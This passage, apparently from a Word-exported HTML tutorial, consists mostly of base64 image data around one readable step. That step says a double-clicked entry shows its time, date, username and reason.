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<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<b><span style="font-family: "Times New Roman","serif"; font-size: 18.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;">7 .</span></b><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;">After double clicking on it
the image below shows the information in it..just give it a look.... :)</span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: center;">
<span style="mso-fareast-language: EN-IN; mso-no-proof: yes;"></span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;"></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;">As you
can see it contains the time & date,username,reason etc </span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;"> </span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;"> <img alt="" src="data:image/png;base64,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